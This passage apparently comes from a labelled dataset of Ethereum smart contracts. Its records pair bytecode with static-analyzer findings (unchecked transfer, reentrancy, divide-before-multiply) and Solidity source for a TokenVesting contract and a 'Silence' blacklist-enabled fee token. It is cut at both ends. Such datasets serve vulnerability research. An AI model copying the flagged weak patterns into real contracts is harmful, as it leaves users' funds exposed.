60048101805483019055549091506103a19084610de3565b336000908152600a60205260409020908155600181018290556006546002820155600954600391820155546103d69084610de3565b6003556001546001600160a01b031663a9059cbb336103f58686610de3565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561043b57600080fd5b505af115801561044f573d6000803e3d6000fd5b505050506040513d602081101561046557600080fd5b50516104b8576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600354156104c9576104c982610e25565b604080513381526020810185905280820184905290517faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa29181900360600190a1505050565b336000908152600a6020526040902060020154600654111561068c57600061053533610d17565b336000908152600a6020526040902060040154909150610556908290610f0a565b336000818152600a602090815260408083206004908101849055600254825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b1580156105c157600080fd5b505af11580156105d5573d6000803e3d6000fd5b505050506040513d60208110156105eb57600080fd5b50516106285760405162461bcd60e51b815260040180806020018281038252602c81526020018061111a602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a1336000908152600a60205260409020600181019190915560095460038201556006546002909101555b565b60006001600160a01b0382166106d55760405162461bcd60e51b81526004018080602001828103825260228152602001806111466022913960400191505060405180910390fd5b6008546001600160a01b0383166000908152600a602090815260408083208054600390910154600019018452600b909252822054600654929361072393909261036792909161036191610de3565b6008546001600160a01b0385166000908152600a602090815260408083208054600390910154600019018452600b90925290912054600654939450919261076e926103619190610de3565b8161077557fe5b6001600160a01b03949094166000908152600a6020526040902060040154930601909101919050565b6001546001600160a01b031681565b6000546001600160a01b031681565b6002546001600160a01b031681565b60065481565b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561082b57600080fd5b505af115801561083f573d6000803e3d6000fd5b505050506040513d602081101561085557600080fd5b50516108925760405162461bcd60e51b81526004018080602001828103825260308152602001806111b76030913960400191505060405180910390fd5b61089b81610e25565b50565b60035481565b600081116108f9576040805162461bcd60e51b815260206004820152601960248201527f45524332303a2041736b696e6720666f722030205354414b4500000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561095357600080fd5b505af1158015610967573d6000803e3d6000fd5b505050506040513d602081101561097d57600080fd5b50516109ba5760405162461bcd60e51b815260040180806020018281038252602e815260200180611189602e913960400191505060405180910390fd5b600354600090156109e4576109d9600a61036760045461036186610c48565b90506109e481610e25565b60006109ef33610d17565b336000908152600a602052604090206004810180548301905554909150610a2090610a1a8585610de3565b90610f0a565b336000908152600a60205260409020908155600181018290556006546002820155600954600390910155610a60610a578484610de3565b60035490610f0a565b6003557f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c33610a8f8585610de3565b604080516001600160a01b0390931683526020830191909152818101859052519081900360600190a1505050565b60006001600160a01b038216610b045760405162461bcd60e51b81526004018080602001828103825260228152602001806111466022913960400191505060405180910390fd5b600154604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b158015610b5157600080fd5b505afa158015610b65573d6000803e3d6000fd5b505050506040513d6020811015610b7b57600080fd5b505192915050565b60006001600160a01b038216610bca5760405162461bcd60e51b81526004018080602001828103825260228152602001806111466022913960400191505060405180910390fd5b506001600160a01b03166000908152600a602052604090205490565b6000546001600160a01b03163314610bfd57600080fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600080610c56836064610f64565b90506000610c6b612710610367846064610c73565b949350505050565b600082610c8257506000610ccf565b82820282848281610c8f57fe5b0414610ccc5760405162461bcd60e51b81526004018080602001828103825260218152602001806111686021913960400191505060405180910390fd5b90505b92915050565b6000610ccc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f7e565b6008546001600160a01b0382166000908152600a602090815260408083208054600390910154600019018452600b90925282205460065492938493610d66939192610367929161036191610de3565b6008546001600160a01b0385166000908152600a602090815260408083208054600390910154600019018452600b909252909120546006549394509192610db1926103619190610de3565b81610db857fe5b6001600160a01b03949094166000908152600a60205260409020600401805491909406019092555090565b6000610ccc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611020565b6000610e42600754610a1a60085485610c7390919063ffffffff16565b90506000610e5b60035483610cd590919063ffffffff16565b9050610e726003548361107a90919063ffffffff16565b600755600654610e829082610f0a565b600655600954600019016000908152600b6020526040902054610ea59082610f0a565b600980546000908152600b602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a1505060098054600101905550565b600082820183811015610ccc576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818260018486010381610f7557fe5b04029392505050565b6000818361100a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fcf578181015183820152602001610fb7565b50505050905090810190601f168015610ffc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161101657fe5b0495945050505050565b600081848411156110725760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fcf578181015183820152602001610fb7565b505050900390565b6000610ccc83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250600081836111065760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610fcf578181015183820152602001610fb7565b5082848161111057fe5b0694935050505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e747261637445524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a26469706673582212209ad1f7873495fada0150fc5aab4d2a2fd99d360254f75fc10bb58891e26365e564736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,353 |
0xc7b2d2b41d1f2e7182ad88bda81ffc0f325fa58f
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IERC20Custom {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
contract TokenVesting is Ownable, ReentrancyGuard {
IERC20Custom public tokenContract;
address public stakingContract;
uint256 public lockedPeriod;
uint256 public totalLocked;
mapping(address => uint256) private _userBalances;
mapping(address => uint256[2][]) private _userLocks;
modifier onlyStakingContract() {
require(stakingContract == _msgSender(), "TokenVesting: caller is not allowed");
_;
}
// constructor
constructor(address token, address staking, uint256 period) {
require(token != address(0) && staking != address(0), "TokenVesting: not valid address");
_setLockPeriod(period);
tokenContract = IERC20Custom(token);
stakingContract = staking;
}
// ownable public functions
function setTokenContract(address tokenContract_) public onlyOwner {
require(tokenContract_ != address(0), "TokenVesting: null address for Token contract");
tokenContract = IERC20Custom(tokenContract_);
}
function setStakingContract(address stakingContract_) public onlyOwner {
require(stakingContract_ != address(0), "TokenVesting: null address for Token contract");
stakingContract = stakingContract_;
}
function setLockPeriod(uint256 period) public onlyOwner {
_setLockPeriod(period);
}
function addVestingData(address user, uint256 amount) public onlyOwner {
_addVestingData(user, amount);
}
function batchAddVestingData(address[] calldata users, uint256[] calldata amounts) public onlyOwner {
require(users.length == amounts.length,"TokenVesting: wrong length");
for (uint256 i = 0; i < amounts.length; i++) {
_addVestingData(users[i], amounts[i]);
}
}
// restricted public functions
function addLock(address user, uint256 amount) public onlyStakingContract {
_addVestingData(user, amount);
}
// public functions
function getLockedBalance(address user) public view returns (uint256 balance) {
return _userBalances[user];
}
function getLocksCount(address user) public view returns (uint256 count) {
return _userLocks[user].length;
}
function getLockByIndex(address user, uint256 index) public view returns (uint256, uint256) {
require(index < _userLocks[user].length, "TokenVesting: index out of range");
uint256 amount = _userLocks[user][index][0];
uint256 releaseTime = _userLocks[user][index][1];
return (amount, releaseTime);
}
function release() public nonReentrant {
require(_userBalances[_msgSender()] > 0, "TokenVesting: empty balance");
uint256 count;
for (uint256 i = 0; i < _userLocks[_msgSender()].length; i++) {
if (block.timestamp >= _userLocks[_msgSender()][i][1]) {
uint256 amount = _userLocks[_msgSender()][i][0];
require(tokenContract.balanceOf(address(this)) >= amount, "TokenVesting: insufficient tokens");
_userBalances[_msgSender()] = _userBalances[_msgSender()] - amount;
totalLocked = totalLocked - amount;
tokenContract.transfer(_msgSender(), amount);
count++;
}
}
while (count != 0) {
_userLocks[_msgSender()].pop();
count--;
}
}
function getUnlockedBalance(address user) public view returns (uint256) {
uint256 balance = 0;
if (_userBalances[user] == 0) {
return balance;
}
for (uint256 i = 0; i < _userLocks[user].length; i++) {
if (block.timestamp >= _userLocks[user][i][1]) {
balance = balance + _userLocks[user][i][0];
}
}
return balance;
}
// private functions
function _setLockPeriod(uint256 period) private {
require(period > lockedPeriod, "TokenVesting: not valid locked period");
lockedPeriod = period;
}
function _addVestingData(address user, uint256 amount) private {
uint256 releaseTime = block.timestamp + lockedPeriod;
uint256 len = _userLocks[user].length + 1;
uint256[2][] memory newLocks = new uint256[2][](len);
newLocks[0][0] = amount;
newLocks[0][1] = releaseTime;
for (uint256 i = 0; i < _userLocks[user].length; i++) {
newLocks[i + 1] = _userLocks[user][i];
}
_userLocks[user] = newLocks;
_userBalances[user] = _userBalances[user] + amount;
totalLocked = totalLocked + amount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063bbcd5bbe11610071578063bbcd5bbe1461023e578063c408689314610251578063c83da6351461027a578063ee99205c1461028d578063f2fde38b146102a057600080fd5b80638da5cb5b146101fe57806396a1196f1461020f5780639dd373b914610222578063b3d6e1191461023557600080fd5b806356891412116100e957806356891412146101bd57806357cfc068146101c6578063715018a6146101db578063779972da146101e357806386d1a69f146101f657600080fd5b8063129de5bf1461011b5780631374eb6f146101415780634c77ba7d1461016957806355a373d614610192575b600080fd5b61012e610129366004610fc3565b6102b3565b6040519081526020015b60405180910390f35b61015461014f366004610fe5565b6103ae565b60408051928352602083019190915201610138565b61012e610177366004610fc3565b6001600160a01b031660009081526007602052604090205490565b6002546101a5906001600160a01b031681565b6040516001600160a01b039091168152602001610138565b61012e60055481565b6101d96101d436600461100f565b6104b7565b005b6101d961059c565b6101d96101f136600461109d565b6105d2565b6101d9610608565b6000546001600160a01b03166101a5565b6101d961021d366004610fe5565b610977565b6101d9610230366004610fc3565b6109af565b61012e60045481565b6101d961024c366004610fc3565b610a21565b61012e61025f366004610fc3565b6001600160a01b031660009081526006602052604090205490565b6101d9610288366004610fe5565b610a93565b6003546101a5906001600160a01b031681565b6101d96102ae366004610fc3565b610af9565b6001600160a01b03811660009081526006602052604081205481906102d85792915050565b60005b6001600160a01b0384166000908152600760205260409020548110156103a7576001600160a01b0384166000908152600760205260409020805482908110610325576103256111de565b9060005260206000209060020201600160028110610345576103456111de565b01544210610395576001600160a01b0384166000908152600760205260409020805482908110610377576103776111de565b60009182526020822060029091020101546103929083611151565b91505b8061039f81611197565b9150506102db565b5092915050565b6001600160a01b0382166000908152600760205260408120548190831061041c5760405162461bcd60e51b815260206004820181905260248201527f546f6b656e56657374696e673a20696e646578206f7574206f662072616e676560448201526064015b60405180910390fd5b6001600160a01b0384166000908152600760205260408120805485908110610446576104466111de565b60009182526020822060029091020101546001600160a01b03861660009081526007602052604081208054929350909186908110610486576104866111de565b90600052602060002090600202016001600281106104a6576104a66111de565b0154919350909150505b9250929050565b6000546001600160a01b031633146104e15760405162461bcd60e51b8152600401610413906110cf565b8281146105305760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e56657374696e673a2077726f6e67206c656e6774680000000000006044820152606401610413565b60005b8181101561059557610583858583818110610550576105506111de565b90506020020160208101906105659190610fc3565b848484818110610577576105776111de565b90506020020135610b91565b8061058d81611197565b915050610533565b5050505050565b6000546001600160a01b031633146105c65760405162461bcd60e51b8152600401610413906110cf565b6105d06000610dcd565b565b6000546001600160a01b031633146105fc5760405162461bcd60e51b8152600401610413906110cf565b61060581610e1d565b50565b6002600154141561065b5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610413565b6002600155336000908152600660205260409020546106bc5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e56657374696e673a20656d7074792062616c616e636500000000006044820152606401610413565b6000805b3360009081526007602052604090205481101561091a573360009081526007602052604090208054829081106106f8576106f86111de565b9060005260206000209060020201600160028110610718576107186111de565b0154421061090857336000908152600760205260408120805483908110610741576107416111de565b60009182526020822060029091020101546002546040516370a0823160e01b815230600482015291925082916001600160a01b03909116906370a082319060240160206040518083038186803b15801561079a57600080fd5b505afa1580156107ae573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d291906110b6565b101561082a5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e56657374696e673a20696e73756666696369656e7420746f6b656e6044820152607360f81b6064820152608401610413565b33600090815260066020526040902054610845908290611169565b33600090815260066020526040902055600554610863908290611169565b6005556002546001600160a01b031663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156108c057600080fd5b505af11580156108d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f8919061107b565b508261090381611197565b935050505b8061091281611197565b9150506106c0565b505b801561097057336000908152600760205260409020805480610940576109406111c8565b6000828152602081206002600019909301928302018181556001015590558061096881611180565b91505061091c565b5060018055565b6000546001600160a01b031633146109a15760405162461bcd60e51b8152600401610413906110cf565b6109ab8282610b91565b5050565b6000546001600160a01b031633146109d95760405162461bcd60e51b8152600401610413906110cf565b6001600160a01b0381166109ff5760405162461bcd60e51b815260040161041390611104565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610a4b5760405162461bcd60e51b8152600401610413906110cf565b6001600160a01b038116610a715760405162461bcd60e51b815260040161041390611104565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6003546001600160a01b031633146109a15760405162461bcd60e51b815260206004820152602360248201527f546f6b656e56657374696e673a2063616c6c6572206973206e6f7420616c6c6f6044820152621dd95960ea1b6064820152608401610413565b6000546001600160a01b03163314610b235760405162461bcd60e51b8152600401610413906110cf565b6001600160a01b038116610b885760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610413565b61060581610dcd565b600060045442610ba19190611151565b6001600160a01b03841660009081526007602052604081205491925090610bc9906001611151565b905060008167ffffffffffffffff811115610be657610be66111f4565b604051908082528060200260200182016040528015610c1f57816020015b610c0c610e81565b815260200190600190039081610c045790505b5090508381600081518110610c3657610c366111de565b6020026020010151600060028110610c5057610c506111de565b6020020152805183908290600090610c6a57610c6a6111de565b6020026020010151600160028110610c8457610c846111de565b602002015260005b6001600160a01b038616600090815260076020526040902054811015610d4d576001600160a01b0386166000908152600760205260409020805482908110610cd657610cd66111de565b600091825260209091206040805180820191829052926002908102909201919082845b815481526020019060010190808311610cf957505050505082826001610d1f9190611151565b81518110610d2f57610d2f6111de565b60200260200101819052508080610d4590611197565b915050610c8c565b506001600160a01b03851660009081526007602090815260409091208251610d7792840190610e9f565b506001600160a01b038516600090815260066020526040902054610d9c908590611151565b6001600160a01b038616600090815260066020526040902055600554610dc3908590611151565b6005555050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6004548111610e7c5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e56657374696e673a206e6f742076616c6964206c6f636b65642070604482015264195c9a5bd960da1b6064820152608401610413565b600455565b60405180604001604052806002906020820280368337509192915050565b828054828255906000526020600020906002028101928215610ee9579160200282015b82811115610ee9578251610ed99083906002610ef9565b5091602001919060020190610ec2565b50610ef5929150610f33565b5090565b8260028101928215610f27579160200282015b82811115610f27578251825591602001919060010190610f0c565b50610ef5929150610f4d565b80821115610ef55760008082556001820155600201610f33565b5b80821115610ef55760008155600101610f4e565b80356001600160a01b0381168114610f7957600080fd5b919050565b60008083601f840112610f9057600080fd5b50813567ffffffffffffffff811115610fa857600080fd5b6020830191508360208260051b85010111156104b057600080fd5b600060208284031215610fd557600080fd5b610fde82610f62565b9392505050565b60008060408385031215610ff857600080fd5b61100183610f62565b946020939093013593505050565b6000806000806040858703121561102557600080fd5b843567ffffffffffffffff8082111561103d57600080fd5b61104988838901610f7e565b9096509450602087013591508082111561106257600080fd5b5061106f87828801610f7e565b95989497509550505050565b60006020828403121561108d57600080fd5b81518015158114610fde57600080fd5b6000602082840312156110af57600080fd5b5035919050565b6000602082840312156110c857600080fd5b5051919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602d908201527f546f6b656e56657374696e673a206e756c6c206164647265737320666f72205460408201526c1bdad95b8818dbdb9d1c9858dd609a1b606082015260800190565b60008219821115611164576111646111b2565b500190565b60008282101561117b5761117b6111b2565b500390565b60008161118f5761118f6111b2565b506000190190565b60006000198214156111ab576111ab6111b2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122089b5977ac56be197258d365d61121f45f11b94c602bd5fa0ab78661adb84370764736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 6,354 |
0x9f9517849adca3d6f23bd03b67c7c81c7691d4bb
|
/**
██████ ██▓ ██▓ ▓█████ ███▄ █ ▄████▄ ▓█████
▒██ ▒ ▓██▒▓██▒ ▓█ ▀ ██ ▀█ █ ▒██▀ ▀█ ▓█ ▀
░ ▓██▄ ▒██▒▒██░ ▒███ ▓██ ▀█ ██▒▒▓█ ▄ ▒███
▒ ██▒░██░▒██░ ▒▓█ ▄ ▓██▒ ▐▌██▒▒▓▓▄ ▄██▒▒▓█ ▄
▒██████▒▒░██░░██████▒░▒████▒▒██░ ▓██░▒ ▓███▀ ░░▒████▒
▒ ▒▓▒ ▒ ░░▓ ░ ▒░▓ ░░░ ▒░ ░░ ▒░ ▒ ▒ ░ ░▒ ▒ ░░░ ▒░ ░
░ ░▒ ░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ░░ ░░ ░ ▒░ ░ ▒ ░ ░ ░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
"Money talks loud, wealth stays silent."
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Silence is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Silence";
string private constant _symbol = "Hush";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 10;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x9448de567297C7C063D6a88242f6Fa2596EF4f4B);
address payable private _marketingAddress = payable(0x9448de567297C7C063D6a88242f6Fa2596EF4f4B);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 30000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
